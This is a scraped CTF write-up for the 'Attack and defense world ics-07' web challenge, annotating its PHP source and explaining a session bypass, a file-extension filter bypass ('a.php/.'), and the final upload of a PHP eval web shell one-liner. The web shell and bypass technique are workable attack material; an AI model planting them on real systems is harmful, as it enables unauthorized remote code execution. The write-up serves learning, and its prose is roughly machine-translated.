当前位置:网站首页>Attack and defense world ----- ics-07
Attack and defense world ----- ics-07
2022-07-26 21:36:00 【jjj34】
After getting the title , One by one

Get the source code directly , Source code php The part is divided into three parts
The first part , Judge whether there is page This parameter
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}// If not, enter the function , Show documents , And then the process ends
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {// If page Valuable , And the value is equal to index.php, it else The function of , Redirected to flag.php page
header('Location: ?page=flag.php');
}
?>
// On the whole , This part requires a page Parameters , As long as the page Parameters for index.php that will do The second part , If session If it's worth it , You can pass in two parameters
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;//file Will be spliced to filename Next
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
// Yes filename Regular filtering , The filtering condition is . Is all characters except line breaks ,+ That is, the previous character appears any time
// \. It's a match .
// p[3457]? explain p3,p,p4,p5,p7 appear 0 Or once ,
// As a whole , Is to match to .php,.php3,.php4,.php5,.php7,.pht,.phtml Ending value
die("Bad file extension");
}else{
chdir('uploaded');// Switch directories to uploaded
$f = fopen($filename, 'w'); // With w Way to open a file , If this file exists , Just delete , Create... If it doesn't exist
fwrite($f, $con);//$f It's a document ,$con It's the content written in
fclose($f);
}
}
?>
// As a whole , Just over regular , Write a sentence
// Because that regular matches all .php Final document , So we need to use parsing vulnerability The third part , The key to realizing the second part , It's about session There is a value , The third part is to session The assignment of
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {// adopt get Mode in id, This id Needs vary 1, And it ends with 9, It would be 1a9,1*9, As long as it's not a normal number
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);// Will the incoming id String parsing , Prevented sql Inject
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);// Query the database
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){// If above result If it's worth it ,session Namely true, Be able to enter the second part
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
Combine the above three parts , The conclusion is
1. Pass in a page Parameters ,page As long as it is not equal to index.php Just fine
2. stay session by true Under the circumstances , Because there is no right con To filter , that con Directly equal to a sentence, that is
con=<[email protected]($_POST['666']);?>
Because of file It's filtered out , therefore file You need to use the knowledge points of parsing vulnerabilities ,file=a.php/.
3. In order to satisfy the if The judgment of the ,id The value of cannot be a normal integer , It needs to be like this :1a9,1iii9, as long as 1 and 9 There is something between ( And it cannot be a normal integer , Such as 199) that will do
final payload as follows

There's a little bit of caution here url, In the second part, there is a chdir() Function of , This function is used to switch directories
chdir(uploaded) Is to switch the directory to uploaded, and filename= backup/1.php
So the address is not /backup/1.php It is uploaded/backup/1.php 
边栏推荐
- Industrial basic IFC - extract model structure tree
- ROS2节点通信实现零拷贝
- 功能尝鲜 | 解密 Doris 复杂数据类型 ARRAY
- CFdiv1+2-Pathwalks-(树状数组+线性dp)
- 记一次invalid bound statement xxxxxx 问题解决思路
- Shangtang technology releases sensepass pro, an all-in-one face recognition machine
- Valley segment coverage - (summary of interval sequencing problem)
- event. preventDefault VS return false
- Calculation formula of retained earnings rate
- 虾皮shopee根据ID取商品详情 API
猜你喜欢

【HCIA安全】NAT网络地址转换

Alkbh1
![[virtual machine data recovery] data recovery of XenServer virtual machine unavailable due to unexpected power failure](/img/c4/88f8927df02513eea4caffc4215850.png)
[virtual machine data recovery] data recovery of XenServer virtual machine unavailable due to unexpected power failure

从手动测试,到自动化测试老司机,只用了几个月,我的薪资翻了一倍
![[MySQL series] - how much do you know about the index](/img/d7/5045a846580be106e2bf16d7b30581.png)
[MySQL series] - how much do you know about the index

【HCIA安全】用户认证

【HCIA安全】双向NAT

About: get the domain controller of the current client login

7、 Wechat applet running error: error: illegal appid, invalid appid

Difference between redis hash and string
随机推荐
Retrieve the parameters in this method in idea for our use -- 1. Class diagram. 2. Double click shift
【音视频】ijkplayer播放器参数说明文档
Set the template of core configuration file in idea
Live broadcast appointment award | senior consultant xuyanfei: how does efficiency measurement help efficient and sophisticated outsourcing management
Alkbh1
如何在一个项目中使用多种不同的语言?
Summary of common interview questions on computer network, including answers
【HCIA安全】用户认证
Make a resizable element
[download materials of harmoniyos topics] HDD Hangzhou station · offline salon focuses on application innovation to show the ecological charm of Hongmeng
拖放表格行
洛谷-线段覆盖-(区间排序问题总结)
浏览器主页被篡改怎么办,主页被篡改恢复方法
js中join方法
获取文本选择的方向
Ros2 node communication realizes zero copy
基于Hough变换的直线检测(Matlab)
织梦提示DedeCMS Error:Tag disabled:php!
【Flutter -- GetX】弹框 - Dialog、Snackbar、BottomSheet
一些意想不到的bug记录